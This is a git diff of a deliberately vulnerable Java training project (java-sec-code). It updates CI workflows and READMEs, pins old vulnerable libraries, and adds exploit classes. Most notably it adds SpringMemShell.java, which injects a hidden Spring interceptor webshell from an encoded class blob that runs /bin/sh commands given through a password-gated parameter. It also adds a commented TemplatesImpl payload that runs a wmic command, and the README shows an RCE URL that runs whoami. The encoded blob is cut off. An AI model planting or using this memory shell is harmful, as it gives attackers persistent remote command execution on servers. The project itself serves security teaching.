diff --git a/.github/workflows/maven-publish.yml b/.github/workflows/maven-publish.yml new file mode 100644 index 00000000..f3bdb0cb --- /dev/null +++ b/.github/workflows/maven-publish.yml @@ -0,0 +1,34 @@ +# This workflow will build a package using Maven and then publish it to GitHub packages when a release is created +# For more information see: https://github.com/actions/setup-java/blob/main/docs/advanced-usage.md#apache-maven-with-a-settings-path + +name: Maven Package + +on: + release: + types: [created] + +jobs: + build: + + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + + steps: + - uses: actions/checkout@v3 + - name: Set up JDK 11 + uses: actions/setup-java@v3 + with: + java-version: '11' + distribution: 'temurin' + server-id: github # Value of the distributionManagement/repository/id field of the pom.xml + settings-path: ${{ github.workspace }} # location for the settings.xml file + + - name: Build with Maven + run: mvn -B clean package -DskipTests --file pom.xml + + - name: Publish to GitHub Packages Apache Maven + run: mvn deploy -s $GITHUB_WORKSPACE/settings.xml + env: + GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml new file mode 100644 index 00000000..d87bf133 --- /dev/null +++ b/.github/workflows/maven.yml @@ -0,0 +1,35 @@ +# This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time +# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven + +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +name: Java CI with Maven + +on: + push: + branches: [ "master" ] + pull_request: + branches: [ "master" ] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + - name: Set up JDK 17 + uses: actions/setup-java@v3 + with: + java-version: '17' + distribution: 'temurin' + cache: maven + - name: Build with Maven + run: mvn -B clean package -DskipTests --file pom.xml + + # Optional: Uploads the full dependency graph to GitHub to improve the quality of Dependabot alerts this repository can receive + - name: Update dependency graph + uses: advanced-security/maven-dependency-submission-action@571e99aab1055c2e71a1e2309b9691de18d6b7d6 diff --git a/README.md b/README.md index c1f2eb91..d4d62134 100644 --- a/README.md +++ b/README.md @@ -3,12 +3,7 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 - -## Recruitment - -[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) - +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) ## Introduce @@ -35,7 +30,6 @@ Sort by letter. - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) -- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) @@ -46,14 +40,12 @@ Sort by letter. - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) -- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder - ScriptEngine - Yaml Deserialize - Groovy -- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) @@ -65,7 +57,7 @@ Sort by letter. - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) -- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) + ## Vulnerability Description @@ -83,7 +75,6 @@ Sort by letter. - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) -- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) ## How to run @@ -152,7 +143,7 @@ Viarus Example: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami ``` return: @@ -210,6 +201,12 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/ Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). -## Support +## Donate + +If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. + +### Alipay + +Scan the QRcode to support `Java sec code`. -If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. + diff --git a/README_zh.md b/README_zh.md index b5c658c3..8beb7805 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,11 +2,7 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 - -## 招聘 - -[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) ## 介绍 @@ -30,7 +26,6 @@ joychou/joychou123 - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) -- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) @@ -40,14 +35,12 @@ joychou/joychou123 - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) -- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder - ScriptEngine - Yaml Deserialize - Groovy -- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) @@ -58,7 +51,7 @@ joychou/joychou123 - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) -- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) + ## 漏洞说明 @@ -75,7 +68,6 @@ joychou/joychou123 - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) -- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) @@ -143,7 +135,7 @@ Viarus 例子: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami ``` 返回: @@ -199,7 +191,12 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会 核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 -## 支持 +## 捐赠 + +如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 + +### Alipay -如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 +扫描支付宝二维码支持`Java sec code`。 + diff --git a/docker-compose.yml b/docker-compose.yml index 7e9c878e..cb3f8efa 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,11 +1,9 @@ -version : '3' +version : '2' services: jsc: image: joychou/jsc:latest - command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"] ports: - "8080:8080" - - "8000:8000" links: - j_mysql diff --git a/java-sec-code.iml b/java-sec-code.iml deleted file mode 100644 index 5c58c92b..00000000 --- a/java-sec-code.iml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index c62d938c..59e50664 100644 --- a/pom.xml +++ b/pom.xml @@ -6,22 +6,38 @@ sec java-sec-code - 1.0.0 + 2.0.0 jar - 1.8 - 1.8 + 9 + 9 org.springframework.boot spring-boot-starter-parent - 1.5.1.RELEASE + 2.6.6 + + + + + + + + + + + + + + + + org.springframework.boot spring-boot-starter-web @@ -46,9 +62,133 @@ com.alibaba fastjson - 1.2.24 + + 1.2.41 + + + + + + org.aspectj + aspectjtools + 1.7.4 + + + org.mvel + mvel2 + 2.4.4.Final + + + + com.alibaba + druid + 1.1.7 + + + + + + org.python + jython-standalone + 2.5.2 + + + + + org.postgresql + postgresql + 42.5.0 + + + + ognl + ognl + 3.1.12 + + + + + org.dom4j + dom4j + 2.1.3 + + + + + + + + + + + + + + + + + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + org.apache.commons + commons-proxy + 1.0 + + + + org.apache.axis + axis + 1.4 + + + + org.apache.axis + axis-jaxrpc + 1.4 + + + + + commons-discovery + commons-discovery + 0.2 + + + + + redis.clients + jedis + 2.9.0 + + + + org.eclipse.core + org.eclipse.core.resources + 3.7.100 + + + + io.micronaut + micronaut-http-client + 2.5.3 + @@ -73,6 +213,12 @@ 23.0 + + org.apache.commons + commons-collections4 + 4.0 + + commons-collections commons-collections @@ -84,11 +230,17 @@ commons-lang 2.4 - - org.apache.httpcomponents - httpclient - 4.5.12 - + + + + + + + + org.apache.httpcomponents + httpcore + 4.4.13 + org.apache.httpcomponents @@ -136,11 +288,11 @@ - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - 1.4.0.RELEASE - + + + + + @@ -150,16 +302,19 @@ + org.springframework.security spring-security-web - 4.2.12.RELEASE + 5.6.2 + + org.springframework.security spring-security-config - 4.2.12.RELEASE + 5.6.2 @@ -196,12 +351,11 @@ 1.7 - + com.thoughtworks.xstream xstream - - 1.4.20 + 1.4.10 @@ -234,7 +388,7 @@ commons-io commons-io - 2.5 + 2.4 @@ -244,6 +398,13 @@ 4.1.4 + + + + + + + io.springfox springfox-swagger2 @@ -256,11 +417,20 @@ 2.9.2 + + + + com.github.xiaoymin + knife4j-spring-boot-starter + 2.0.6 + + + org.projectlombok lombok - 1.18.20 + 1.18.16 provided @@ -280,129 +450,35 @@ junit - - - commons-beanutils - commons-beanutils - 1.9.4 - - - - - io.jsonwebtoken - jjwt - 0.9.1 - - - - - com.auth0 - java-jwt - 4.0.0 - - - - cn.hutool - hutool-all - 5.8.10 - - - - org.javassist - javassist - 3.27.0-GA - - - - org.springframework.data - spring-data-commons - 1.13.11.RELEASE - - - - com.jayway.jsonpath - json-path - - - - org.xmlbeam - xmlprojector - 1.4.13 - - - - - org.postgresql - postgresql - 42.3.1 - - - - - com.ibm.db2 - jcc - 11.5.8.0 - - - - org.apache.shiro - shiro-core - 1.2.4 - - - com.fasterxml.jackson.core - jackson-databind - 2.9.8 + org.apache.groovy + groovy + 4.0.2 + - com.fasterxml.jackson.core - jackson-annotations - 2.9.8 + org.flowable + flowable-engine + 6.7.2 - - - com.fasterxml.jackson.core - jackson-core - 2.9.8 - - - - - - org.jsecurity - jsecurity - 0.9.0 - - - - - org.springframework - spring-expression - 4.3.16.RELEASE + org.flowable + flowable-engine-common + 6.7.2 - - - com.h2database - h2 - 1.4.199 - test + org.flowable + flowable-engine-common-api + 6.7.2 - - org.apache.tomcat - tomcat-dbcp - 9.0.8 + org.flowable + flowable-variable-service + 6.7.2 + - - com.alibaba - QLExpress - 3.3.1 - @@ -424,6 +500,14 @@ org.springframework.boot spring-boot-maven-plugin + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + diff --git a/pom.xml.bak b/pom.xml.bak new file mode 100644 index 00000000..764e08dd --- /dev/null +++ b/pom.xml.bak @@ -0,0 +1,314 @@ + + + 4.0.0 + + sec + java-sec-code + 1.0.0 + war + + + 1.8 + 1.8 + + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.1.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + mysql + mysql-connector-java + 8.0.12 + + + + + + com.alibaba + fastjson + 1.2.61 + + + + + + + org.jdom + jdom2 + 2.0.6 + + + + + org.dom4j + dom4j + 2.1.0 + + + + + + com.google.guava + guava + 23.0 + + + + commons-collections + commons-collections + 3.1 + + + + commons-lang + commons-lang + 2.4 + + + org.apache.httpcomponents + httpclient + 4.5.12 + + + + org.apache.httpcomponents + fluent-hc + 4.3.6 + + + + + org.apache.logging.log4j + log4j-core + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 + + + + com.squareup.okhttp + okhttp + 2.5.0 + + + + + org.apache.commons + commons-digester3 + 3.2 + + + + + org.jolokia + jolokia-core + 1.6.0 + + + + + org.springframework.boot + spring-boot-starter-actuator + + + + + org.springframework.cloud + spring-cloud-starter-netflix-eureka-client + 1.4.0.RELEASE + + + + + com.fasterxml.uuid + java-uuid-generator + 3.1.4 + + + + + org.springframework.security + spring-security-web + 4.2.12.RELEASE + + + + org.springframework.security + spring-security-config + 4.2.12.RELEASE + + + + org.springframework.boot + spring-boot-starter-security + 2.1.5.RELEASE + + + + commons-net + commons-net + 3.6 + + + + + commons-httpclient + commons-httpclient + 3.1 + + + + + + org.mybatis.spring.boot + mybatis-spring-boot-starter + 1.3.2 + + + + + org.apache.velocity + velocity + 1.7 + + + + + com.thoughtworks.xstream + xstream + 1.4.10 + + + + org.apache.poi + poi + 3.10-FINAL + + + + + org.apache.poi + poi-ooxml + 3.9 + + + + com.monitorjbl + xlsx-streamer + 2.0.0 + + + + + org.jsoup + jsoup + 1.10.2 + + + + + commons-io + commons-io + 2.5 + + + + + org.apache.httpcomponents + httpasyncclient + 4.1.4 + + + + + + + + + + + io.springfox + springfox-swagger2 + 2.9.2 + + + + io.springfox + springfox-swagger-ui + 2.9.2 + + + + + org.projectlombok + lombok + 1.18.16 + provided + + + + org.yaml + snakeyaml + 1.21 + + + + org.springframework + spring-test + + + + junit + junit + + + + + + + + org.springframework.cloud + spring-cloud-dependencies + Camden.RELEASE + pom + import + + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + + + \ No newline at end of file diff --git a/src/main/java/com/Exploit.java b/src/main/java/com/Exploit.java new file mode 100644 index 00000000..8ece0a8c --- /dev/null +++ b/src/main/java/com/Exploit.java @@ -0,0 +1,33 @@ +//package com; +// +//import com.sun.org.apache.xalan.internal.xsltc.DOM; +//import com.sun.org.apache.xalan.internal.xsltc.TransletException; +//import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +//import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +//import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +//import java.io.IOException; +// +//public class Exploit extends AbstractTranslet { +// private static String cmd = "cmd /c wmic process get caption,commandline /value > C:/DubboService/wmic_result.txt"; +// +// static { +// +// } +// public Exploit() { +// +// try { +// Process process = new ProcessBuilder().command(cmd.split(" ")).start(); +// } catch (IOException var3) { +// var3.printStackTrace(); +// } +// +// } +// +// public void transform(DOM var1, SerializationHandler[] var2) throws TransletException { +// } +// +// public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { +// } +//} +// +// diff --git a/src/main/java/com/Exploit1.java b/src/main/java/com/Exploit1.java new file mode 100644 index 00000000..fddaaac9 --- /dev/null +++ b/src/main/java/com/Exploit1.java @@ -0,0 +1,15 @@ +package com; + +public class Exploit1 { + static { + System.out.println("[*] static block in Exploit1"); + } + + public Exploit1(){ + System.out.println("[*] public constructor Exploit1"); + } + + public static void main(String[] args) { + System.out.println("[*] main in Exploit1"); + } +} \ No newline at end of file diff --git a/src/main/java/com/SpringMemShell.java b/src/main/java/com/SpringMemShell.java new file mode 100644 index 00000000..8fa10569 --- /dev/null +++ b/src/main/java/com/SpringMemShell.java @@ -0,0 +1,84 @@ +package com; + +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.servlet.handler.AbstractHandlerMapping; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.LinkedHashSet; + +public class SpringMemShell { + static { +// injectMemShell(); + } + + static void injectMemShell(){ + + try{ + // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 + Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); + // 2. 属性被 private 修饰,所以 setAccessible true + field.setAccessible(true); + // 3. 获取一个 ApplicationContext 实例 + WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next(); + + AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); + field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + ArrayList adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Class clazz = null; + try{ + clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicInterceptorTemplate2"); + }catch(ClassNotFoundException e){ + try{ + String codeClass = "yv66vgAAADQBGQoAQQCDCACECQBAAIUKAEAAhgkAhwCICACJCgCKAIsIAIwLAI0AjggAjwoADwCQCgAPAJEJAJIAkwgAlAcAlQgAlggAlwgAmAgAmQcAmgoAmwCcCgCbAJ0KAJ4AnwoAFACgCAChCgAUAKIKABQAowsApAClCgCmAIsKAKcAqAoApwCpCACqCgAnAKsJAEAArAcArQgArgoArwCwCgCxALIHALMIALQHALUHAGMJALYAtwoAKQC4CgC5ALoHALsKALYAvAoAuQC9BwC+CgAxAL8HAMAKADMAvwcAwQoANQC/CADCCgDDAMQKAMUAxgcAxwcAyAoAOwDJBwDKCgCvAMsKAMwAzQcAzgcAzwEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA3TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUyOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAWsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADVN0YWNrTWFwVGFibGUHAJUHAFABAApFeGNlcHRpb25zBwDQAQAKaW5pdGlhbGl6ZQEABHZhcjcBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjb2RlAQAFYnl0ZXMBAAJbQgEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAEdmFyOAEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAEdmFyOQEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAV2YXIxMQEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcAzgcAswcArQcA0QcAvgcAwAcAwQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMY2xhc3NDb250ZW50AQABZQEAH0xqYXZhL2lvL0ZpbGVOb3RGb3VuZEV4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAARhcmdzAQASYmFzZTY0Q2xhc3NDb250ZW50BwDHBwDKAQAKU291cmNlRmlsZQEAIER5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMi5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAEYARwEABHBhc3MMAEQARQwAXgBHBwDSDADTANQBACJbK10gRHluYW1pYyBJbnRlcmNlcHRvciBzYXlzIGhlbGxvBwDVDADWANcBAAR0eXBlBwDYDADZANoBAAViYXNpYwwA2wDcDADdAN4HAN8MAOAARQEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQADY21kAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA4QwA4gDjDADkAOUHAOYMAOcA6AwARgDpAQACXEEMAOoA6wwA7ADtBwDuDADvAPAHAPEHAPIMAPMA9AwA9QD2AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAD3APgMAEIAQwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQcA+QwA+gD9BwD+DAD/AQABABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcBAQwBAgBDDAEDAQQHANEMAQUBBgEAEGphdmEvbGFuZy9PYmplY3QMAQcBCAwBCQEKAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgwBCwBHAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQBfQzpccmVwb3NcSk5ESUV4cGxvaXRcdGFyZ2V0XGNsYXNzZXNcY29tXGZlaWhvbmdcbGRhcFx0ZW1wbGF0ZVxEeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZTIuY2xhc3MHAQwMAQ0BDgcBDwwBEAERAQAdamF2YS9pby9GaWxlTm90Rm91bmRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwARgESAQATamF2YS9pby9JT0V4Y2VwdGlvbgwBEwEVBwEWDAEXARgBADVjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL0R5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMgEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyA